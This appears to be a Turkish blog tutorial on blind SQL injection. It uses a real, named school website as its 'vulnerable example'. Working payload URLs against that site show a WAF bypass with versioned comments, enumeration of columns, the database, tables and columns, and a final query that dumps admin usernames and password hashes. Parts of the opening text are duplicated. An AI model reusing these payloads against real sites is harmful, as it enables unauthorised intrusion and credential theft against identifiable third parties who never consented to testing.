Rating - 0%
Merhabalar,
Bu yazıda, Blind SQL Injection (Kör SQL Injection) hakkında temel bilgiler ve uygulamalı örnekler üzerinden ilerleyeceğiz. SQL Injection, web uygulamalarındaki veri tabanı sorgularına kötü niyetli müdahaleyi ifade eder ve Blind SQL Injection, hata mesajı vermeden bu zafiyetin kullanılmasıdır.
http://www.marywardlubhu.edu.np/gallery.php?cat_id=6
Eğer URL parametresine ' karakteri eklendiğinde sayfadaki resimler veya yazılar görünmüyorsa, bu bir açık olabilir.
Ve zaafiyetli kolonları bulmak için:
Tablo isimlerini çekmek için:
Elde edilen çıktı hashlenmiş şifre ve kullanıcı isimlerini içerir.
Bu konuyla ilgili detaylı görsel ve video anlatımlar paylaşarak ilerleyeceğim.
Bu yazıda, Blind SQL Injection (Kör SQL Injection) hakkında temel bilgiler ve uygulamalı örnekler üzerinden ilerleyeceğiz. SQL Injection, web uygulamalarındaki veri tabanı sorgularına kötü niyetli müdahaleyi ifade eder ve Blind SQL Injection, hata mesajı vermeden bu zafiyetin kullanılmasıdır.
Blind SQL Injection Nedir?
Blind SQL Injection, web sayfasında hata mesajı alınmadan sayfanın işleyişinin değiştirilmesi veya veri tabanından veri çekilmesidir. Örneğin, bir sayfa üzerinde .php?id=xx şeklinde bir parametre varsa ve URL’ye tırnak işareti (') eklediğimizde sayfadaki bazı içerikler (resimler, metinler) kayboluyorsa, bu durum potansiyel Blind SQL Injection açığını işaret eder.Uygulamalı Örnekler
Örnek zafiyetli site:http://www.marywardlubhu.edu.np/gallery.php?cat_id=6
Eğer URL parametresine ' karakteri eklendiğinde sayfadaki resimler veya yazılar görünmüyorsa, bu bir açık olabilir.
WAF Bypass
WAF’ı aşmak için SQL yorumlayıcısına özgü bypass yöntemleri kullanabiliriz:http://www.marywardlubhu.edu.np/gallery.php?cat_id=6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,4,5,6--+-Ve zaafiyetli kolonları bulmak için:
http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,4,5,6--+-Veri Tabanı ve Tabloların Tespiti
Zaafiyetli kolonlardan veri tabanı ismini ve tabloları çekmek için şu sorgu kullanılabilir:http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,database(),5,6--+-Tablo isimlerini çekmek için:
http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x6d617279776172645f6d61727977617264),5,6--+-Kolonların İçeriğini Görüntüleme
Örneğin, tbl_admin tablosundaki sütun isimlerini öğrenmek için:http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x74626c5f61646d696e),5,6--+-
Veri Çekme Örneği (Username & Password)
Son olarak, kullanıcı adı ve şifreleri çekmek için örnek bir sorgu:http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(maryward_maryward.tbl_admin)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x3a,password,0x3c62723e))))x),5,6--+-Elde edilen çıktı hashlenmiş şifre ve kullanıcı isimlerini içerir.
Sonuç
Bu örneklerle, Blind SQL Injection açığının nasıl tespit edileceği, kolon sayısının nasıl bulunacağı, WAF bypass teknikleri ve veri çekme yöntemleri hakkında temel bir bakış açısı kazandık.Bu konuyla ilgili detaylı görsel ve video anlatımlar paylaşarak ilerleyeceğim.